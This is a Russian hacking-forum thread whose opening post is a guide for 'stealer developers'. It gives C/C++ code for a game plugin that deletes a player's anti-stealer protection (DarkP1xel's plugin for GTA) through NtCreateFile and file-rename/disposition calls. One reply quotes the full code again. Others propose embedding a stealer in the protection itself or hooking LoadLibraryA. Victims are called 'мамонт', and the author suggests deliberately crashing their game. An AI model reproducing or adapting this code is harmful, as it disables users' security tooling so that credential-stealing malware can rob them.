ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Удаляем антистиллер by DarkP1xel 5.2.5 (https://forum.antichat.xyz/showthread.php?t=1403962)

.KARELLI 07.10.2021 12:06

Решил зайти на форум, посмотреть что тут нового, ничего нового не нашел, решил сделать какой-нибудь гайд интересный для разработчиков стиллеров

В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного

Для данного способа нам понадобится:

1. NtCreateFile

2. SetFileInformationByHandle

С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся

https://forum.antichat.xyz/attachments/27858219/

Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает

1633590029100.png.KARELLI · 7 Окт 2021 в 11:06' data-fancybox="lb-post-858219" data-lb-caption-extra-html="" data-lb-sidebar-href="" data-single-image="1" data-src="https://www.blast.hk/attachments/117076/" style="cursor: pointer;" title="1633590029100.png">
https://forum.antichat.xyz/attachments/27858219/

Информация на руках, осталось написать asi плагин

Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь

C:





Код:

NTSTATUS
(
__stdcall
*
NtCreateFile
)
(
PHANDLE
,
ACCESS_MASK
,
POBJECT_ATTRIBUTES
,
PIO_STATUS_BLOCK
,
PLARGE_INTEGER
,
ULONG
,
ULONG
,
ULONG
,
ULONG
,
PVOID
,
ULONG
)
;
*
(
FARPROC
*
)
&
NtCreateFile
=
GetProcAddress
(
GetModuleHandleA
(
"ntdll"
)
,
"NtCreateFile"
)
;
wchar_t szPath
[
MAX_PATH
*
2
]
=
L
"\\??\\"
;
GetCurrentDirectoryW
(
(
MAX_PATH
*
2
)
,
&
szPath
[
4
]
)
;
lstrcatW
(
szPath
,
L
"\\!0AntiStealerByDarkP1xel32.ASI"
)
;



Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл

C++:





Код:

UNICODE_STRING uFilePath
;
uFilePath
.
Buffer
=
szPath
;
uFilePath
.
Length
=
lstrlenW
(
szPath
)
*
sizeof
(
wchar_t
)
;
uFilePath
.
MaximumLength
=
uFilePath
.
Length
+
2
;
IO_STATUS_BLOCK IoStatusBlock
;
OBJECT_ATTRIBUTES FileObjectAttributes
;
InitializeObjectAttributes
(
&
FileObjectAttributes
,
&
uFilePath
,
OBJ_CASE_INSENSITIVE
,
NULL
,
NULL
)
;
HANDLE hFile
=
NULL
;
NTSTATUS NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;



Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:

C++:





Код:

if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_RENAME_INFO fRenameInfo
;
memset
(
&
fRenameInfo
,
0
,
sizeof
(
fRenameInfo
)
)
;
fRenameInfo
.
FileNameLength
=
4
;
memcpy
(
fRenameInfo
.
FileName
,
L
":x"
,
4
)
;
if
(
SetFileInformationByHandle
(
hFile
,
FileRenameInfo
,
&
fRenameInfo
,
sizeof
(
fRenameInfo
)
+
4
)
)
{
CloseHandle
(
hFile
)
;
NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_DISPOSITION_INFO fDispositionInfo
;
memset
(
&
fDispositionInfo
,
0
,
sizeof
(
fDispositionInfo
)
)
;
fDispositionInfo
.
DeleteFileW
=
1
;
SetFileInformationByHandle
(
hFile
,
FileDispositionInfo
,
&
fDispositionInfo
,
sizeof
(
fDispositionInfo
)
)
;
}
;
}
;
CloseHandle
(
hFile
)
;
}
;



Компилируем плагин.

Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру

https://forum.antichat.xyz/attachments/27858219/

Далее видим что от антистиллера осталось лишь лог, вот и все

https://forum.antichat.xyz/attachments/27858219/

Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш

Всем добра

NoFeXX 07.10.2021 13:34

Не долго парень прожил

Норм гайд

(бабуля гей)

Hatiko 07.10.2021 13:49

Этот антистиллер и так всегда просят удалить, т.к. он блокирует всё подряд и мешает работе многим модификациям. Редко уже у кого встретишь его.

YarmaK 07.10.2021 14:44

Лучше вшить стилер в него и все 🤡

RAYDON 07.10.2021 14:55

Цитата:

Сообщение от .KARELLI

lstrcatW(szPath, L"\\!0AntiStealerByDarkP1xel32.ASI");

а если файл по-другому называется?

kin4stat 07.10.2021 15:34

Спс за гайд уровня как сложить 2+2 через интеграл

{$FANTOMCODER .cs} 07.10.2021 16:11

Цитата:

Сообщение от .KARELLI

Решил зайти на форум, посмотреть что тут нового, ничего нового не нашел, решил сделать какой-нибудь гайд интересный для разработчиков стиллеров
В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного
Для данного способа нам понадобится:
1. NtCreateFile
2. SetFileInformationByHandle

С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся

Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает

Информация на руках, осталось написать asi плагин

Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь

C:





Код:

NTSTATUS
(
__stdcall
*
NtCreateFile
)
(
PHANDLE
,
ACCESS_MASK
,
POBJECT_ATTRIBUTES
,
PIO_STATUS_BLOCK
,
PLARGE_INTEGER
,
ULONG
,
ULONG
,
ULONG
,
ULONG
,
PVOID
,
ULONG
)
;
*
(
FARPROC
*
)
&
NtCreateFile
=
GetProcAddress
(
GetModuleHandleA
(
"ntdll"
)
,
"NtCreateFile"
)
;
wchar_t szPath
[
MAX_PATH
*
2
]
=
L
"\\??\\"
;
GetCurrentDirectoryW
(
(
MAX_PATH
*
2
)
,
&
szPath
[
4
]
)
;
lstrcatW
(
szPath
,
L
"\\!0AntiStealerByDarkP1xel32.ASI"
)
;



Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл

C++:





Код:

UNICODE_STRING uFilePath
;
uFilePath
.
Buffer
=
szPath
;
uFilePath
.
Length
=
lstrlenW
(
szPath
)
*
sizeof
(
wchar_t
)
;
uFilePath
.
MaximumLength
=
uFilePath
.
Length
+
2
;
IO_STATUS_BLOCK IoStatusBlock
;
OBJECT_ATTRIBUTES FileObjectAttributes
;
InitializeObjectAttributes
(
&
FileObjectAttributes
,
&
uFilePath
,
OBJ_CASE_INSENSITIVE
,
NULL
,
NULL
)
;
HANDLE hFile
=
NULL
;
NTSTATUS NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;



Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:

C++:





Код:

if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_RENAME_INFO fRenameInfo
;
memset
(
&
fRenameInfo
,
0
,
sizeof
(
fRenameInfo
)
)
;
fRenameInfo
.
FileNameLength
=
4
;
memcpy
(
fRenameInfo
.
FileName
,
L
":x"
,
4
)
;
if
(
SetFileInformationByHandle
(
hFile
,
FileRenameInfo
,
&
fRenameInfo
,
sizeof
(
fRenameInfo
)
+
4
)
)
{
CloseHandle
(
hFile
)
;
NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_DISPOSITION_INFO fDispositionInfo
;
memset
(
&
fDispositionInfo
,
0
,
sizeof
(
fDispositionInfo
)
)
;
fDispositionInfo
.
DeleteFileW
=
1
;
SetFileInformationByHandle
(
hFile
,
FileDispositionInfo
,
&
fDispositionInfo
,
sizeof
(
fDispositionInfo
)
)
;
}
;
}
;
CloseHandle
(
hFile
)
;
}
;



Компилируем плагин.

Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру

Далее видим что от антистиллера осталось лишь лог, вот и все

Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш

Всем добра

А зачем?

Сейчас даже free steeler'ы на Клео умеют его обходить.

legendabrn 07.10.2021 17:37

а не проще назвать файл !00*.asi и хукнуть LoadLibaryA?

ARMOR 07.10.2021 21:30

Жду такой темы

maxresdefault.jpgARMOR · 7 Окт 2021 в 20:30' data-fancybox="lb-post-858484" data-lb-caption-extra-html="" data-lb-sidebar-href="" data-single-image="1" data-src="https://www.blast.hk/attachments/117142/" style="cursor: pointer;" title="maxresdefault.jpg">
https://forum.antichat.xyz/attachments/27858484/

Dragynovv 07.10.2021 21:31

легенда, вернулась не на долго 😢


Время: 01:38